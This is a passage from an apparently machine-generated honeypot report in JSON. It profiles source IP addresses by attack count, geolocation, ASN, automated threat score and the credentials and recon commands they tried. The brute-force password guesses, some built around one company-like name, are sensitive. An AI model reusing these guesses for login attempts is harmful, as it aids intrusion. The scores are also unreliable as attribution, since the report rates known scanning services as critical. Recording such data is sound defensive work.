        "last_seen_30d": "2026-04-10T23:16:24.330000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "105.174.17.50": {
      "attack_count": 18,
      "first_seen": "2026-04-10T14:31:37.516Z",
      "last_seen": "2026-04-10T21:47:45.475Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!2025Kelltech",
        "Kelltech@2024",
        "kelltech2025$"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 37119,
      "as_org": "UNITEL",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:31:37.516000+00:00",
        "last_seen_30d": "2026-04-10T21:48:50.004000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "183.212.245.179": {
      "attack_count": 18,
      "first_seen": "2026-04-02T11:19:23.340Z",
      "last_seen": "2026-04-02T11:22:13.739Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:19:23.340000+00:00",
        "last_seen_30d": "2026-04-02T11:23:17.735000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "14.103.114.221": {
      "attack_count": 15,
      "first_seen": "2026-04-13T12:58:42.525Z",
      "last_seen": "2026-04-13T12:59:53.339Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T21:48:11+00:00",
        "last_seen_30d": "2026-04-13T13:00:57.873000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10,
        "Honeytrap": 1
      }
    },
    "14.103.114.244": {
      "attack_count": 15,
      "first_seen": "2026-04-05T13:36:43.458Z",
      "last_seen": "2026-04-05T13:56:23.977Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "camtest",
        "root",
        "serge"
      ],
      "passwords_attempted": [
        "camtest",
        "ddQQ1234",
        "serge"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T13:36:43.458000+00:00",
        "last_seen_30d": "2026-04-05T13:57:26.727000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10
      }
    },
    "116.203.55.233": {
      "attack_count": 13,
      "first_seen": "2026-04-10T12:04:26.816Z",
      "last_seen": "2026-04-10T13:11:00.240Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user"
      ],
      "passwords_attempted": [
        "Kelltech#123",
        "kelltech1234"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:04:26.816000+00:00",
        "last_seen_30d": "2026-04-10T13:12:05.430000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "103.203.57.19": {
      "attack_count": 11,
      "first_seen": "2026-04-01T22:15:40.637Z",
      "last_seen": "2026-04-29T19:05:35.855Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T22:15:40.637000+00:00",
        "last_seen_30d": "2026-04-29T19:06:42.345000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "184.105.247.196": {
      "attack_count": 10,
      "first_seen": "2026-04-03T11:01:32.285Z",
      "last_seen": "2026-04-25T11:55:11.057Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 386,
        "days_active_30d": 30,
        "ports_targeted_30d": 83,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T08:37:20+00:00",
        "last_seen_30d": "2026-04-30T12:51:26.825000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 237,
        "Honeytrap": 104,
        "Cowrie": 10,
        "Miniprint": 8,
        "Tanner": 8,
        "Dionaea": 7,
        "Honeyaml": 4,
        "ConPot": 3,
        "ElasticPot": 3,
        "CitrixHoneypot": 2
      }
    },
    "66.132.195.46": {
      "attack_count": 10,
      "first_seen": "2026-04-12T05:47:35.464Z",
      "last_seen": "2026-04-12T05:48:17.935Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T04:47:57+00:00",
        "last_seen_30d": "2026-04-30T20:56:41.999000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123,
        "Honeytrap": 45,
        "Cowrie": 10,
        "CitrixHoneypot": 5,
        "ElasticPot": 4,
        "Honeyaml": 3,
        "Dionaea": 2
      }
    },
    "180.130.116.218": {
      "attack_count": 9,
      "first_seen": "2026-04-03T20:34:16.856Z",
      "last_seen": "2026-04-03T20:36:23.458Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T20:34:16.856000+00:00",
        "last_seen_30d": "2026-04-03T20:46:24.391000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 7
      }
    },
    "221.216.134.65": {
      "attack_count": 9,
      "first_seen": "2026-04-19T10:14:00.474Z",
      "last_seen": "2026-04-19T12:40:25.133Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "zoolon"
      ],
      "passwords_attempted": [
        "123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:14:00.474000+00:00",
        "last_seen_30d": "2026-04-19T12:41:32.747000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 8
      }
    },
    "185.220.101.33": {
      "attack_count": 8,
      "first_seen": "2026-04-03T20:35:03.724Z",
      "last_seen": "2026-04-03T20:35:26.176Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T20:35:03.724000+00:00",
        "last_seen_30d": "2026-04-03T20:36:29.150000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "156.227.236.72": {
      "attack_count": 7,
      "first_seen": "2026-04-08T11:49:17.109Z",
      "last_seen": "2026-04-08T11:54:06.606Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin2"
      ],
      "passwords_attempted": [
        "admin2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T11:49:17.109000+00:00",
        "last_seen_30d": "2026-04-08T11:55:10.924000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "64.23.193.149": {
      "attack_count": 7,
      "first_seen": "2026-04-01T11:56:20.699Z",
      "last_seen": "2026-04-01T11:56:20.905Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 144693,
        "days_active_30d": 8,
        "ports_targeted_30d": 65521,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-01T11:53:15+00:00",
        "last_seen_30d": "2026-04-08T19:20:32.689000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 124953,
        "Honeytrap": 19684,
        "Mailoney": 12,
        "Dionaea": 9,
        "Miniprint": 8,
        "ConPot": 7,
        "Cowrie": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "101.126.4.215": {
      "attack_count": 6,
      "first_seen": "2026-04-05T10:01:38.334Z",
      "last_seen": "2026-04-05T10:03:38.961Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T10:01:38.334000+00:00",
        "last_seen_30d": "2026-04-05T10:13:42.181000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "176.120.111.39": {
      "attack_count": 6,
      "first_seen": "2026-04-27T22:17:56.442Z",
      "last_seen": "2026-04-27T22:22:03.467Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 43633,
      "as_org": "Gigabit-Online LLC",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T22:17:56.442000+00:00",
        "last_seen_30d": "2026-04-27T22:23:08.826000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "187.180.160.45": {
      "attack_count": 6,
      "first_seen": "2026-04-28T19:46:13.015Z",
      "last_seen": "2026-04-28T19:50:24.537Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sorocaba",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T19:46:13.015000+00:00",
        "last_seen_30d": "2026-04-28T19:51:26.400000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "205.210.31.101": {
      "attack_count": 6,
      "first_seen": "2026-04-05T18:25:10.016Z",
      "last_seen": "2026-04-05T22:58:16.722Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-02T00:22:06+00:00",
        "last_seen_30d": "2026-04-30T21:58:44.644000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 22,
        "Cowrie": 6,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "45.43.37.254": {
      "attack_count": 6,
      "first_seen": "2026-04-04T14:58:57.916Z",
      "last_seen": "2026-04-20T09:57:32.088Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 22.5,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 27,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T19:48:41.324000+00:00",
        "last_seen_30d": "2026-04-27T12:05:51.098000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 6
      }
    },
    "34.81.42.153": {
      "attack_count": 5,
      "first_seen": "2026-04-02T02:09:51.032Z",
      "last_seen": "2026-04-02T02:09:52.861Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!qaz@wsx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:09:51.032000+00:00",
        "last_seen_30d": "2026-04-02T02:11:01.403000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "134.185.117.241": {
      "attack_count": 4,
      "first_seen": "2026-04-14T10:45:50.182Z",
      "last_seen": "2026-04-15T05:44:43.220Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chuncheon",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T02:55:37.887000+00:00",
        "last_seen_30d": "2026-04-27T10:09:37.870000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 4
      }
    },
    "147.185.132.18": {
      "attack_count": 4,
      "first_seen": "2026-04-08T04:19:57.734Z",
      "last_seen": "2026-04-08T04:20:01.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T01:13:23+00:00",
        "last_seen_30d": "2026-04-30T20:31:36.035000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 25,
        "Cowrie": 4
      }
    },
    "162.249.2.127": {
      "attack_count": 4,
      "first_seen": "2026-04-30T07:45:04.602Z",
      "last_seen": "2026-04-30T07:46:02.204Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 55293,
      "as_org": "A2 Hosting, Inc.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:45:04.602000+00:00",
        "last_seen_30d": "2026-04-30T07:47:10.221000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "176.65.148.173": {
      "attack_count": 4,
      "first_seen": "2026-04-18T21:17:58.169Z",
      "last_seen": "2026-04-19T08:24:28.058Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T21:17:58.169000+00:00",
        "last_seen_30d": "2026-04-19T08:25:38.064000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "195.98.81.12": {
      "attack_count": 4,
      "first_seen": "2026-04-09T21:57:15.463Z",
      "last_seen": "2026-04-14T10:10:49.977Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 6856,
      "as_org": "AO IK Informsvyaz-Chernozemye",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T21:57:15.463000+00:00",
        "last_seen_30d": "2026-04-14T10:11:53.613000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.106": {
      "attack_count": 4,
      "first_seen": "2026-04-20T04:31:13.123Z",
      "last_seen": "2026-04-20T04:31:16.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 25,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-02T04:00:05+00:00",
        "last_seen_30d": "2026-04-26T22:48:00.608000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 25,
        "ConPot": 18,
        "Cowrie": 4,
        "Dionaea": 3,
        "Ciscoasa": 2,
        "H0neytr4p": 1
      }
    },
    "206.189.196.74": {
      "attack_count": 4,
      "first_seen": "2026-04-14T22:48:42.023Z",
      "last_seen": "2026-04-14T22:48:42.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
